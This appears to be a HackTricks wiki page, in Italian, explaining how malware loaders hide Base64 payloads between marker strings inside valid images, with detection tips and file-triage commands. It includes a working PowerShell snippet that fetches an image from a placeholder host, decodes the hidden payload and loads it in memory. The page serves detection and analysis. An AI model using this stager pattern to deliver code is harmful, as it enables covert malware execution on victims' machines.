Malware & Network Stego

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Non tutta la steganography è pixel LSB; commodity malware spesso nasconde payloads all’interno di file altrimenti validi.

Modelli pratici

Payloads delimitati da marker in immagini valide

Se un’immagine viene scaricata e immediatamente analizzata come text/Base64 da uno script, il payload è spesso marker-delimited piuttosto che pixel-hidden.

Commodity loaders nascondono sempre più spesso Base64 payloads come testo semplice all’interno di immagini altrimenti valide (spesso GIF/PNG). Invece di pixel-level LSB, il payload è delimitato da stringhe marker uniche incorporate nel testo/metadata del file. Un stager quindi:

  • Scarica l’immagine via HTTP(S)
  • Individua marker di inizio/fine
  • Estrae il testo compreso e lo decodifica da Base64
  • Carica/esegue in memoria

Snippet minimale di carving in PowerShell:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Note:

  • ATT&CK: T1027.003 (steganography)
  • Detection/hunting:
  • Scansionare le immagini scaricate alla ricerca di stringhe delimitatrici.
  • Segnalare script che recuperano immagini e chiamano immediatamente routine di decodifica Base64 (PowerShell FromBase64String, JS atob, ecc.).
  • Cercare mismatch content-type HTTP (image/* response ma il body contiene lungo ASCII/Base64).

Other high-signal places to hide payloads

Questi sono generalmente più veloci da controllare rispetto allo stego a livello di pixel del contenuto:

  • Metadati: EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, JPEG COM/APPn segments.
  • Trailing bytes: dati aggiunti dopo il marker di fine formale (es., dopo PNG IEND).
  • Archivi incorporati: uno ZIP/7z incorporato o aggiunto ed estratto dal loader.
  • Polyglots: file creati per essere validi sotto più parser (es., immagine + script + archivio).

Comandi di triage

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

Riferimenti:

  • Unit 42 esempio: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • Polyglot di formati di file e trucchi per container: https://github.com/corkami/docs
  • Aperi’Solve (triage stego basato sul web): https://aperisolve.com/

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks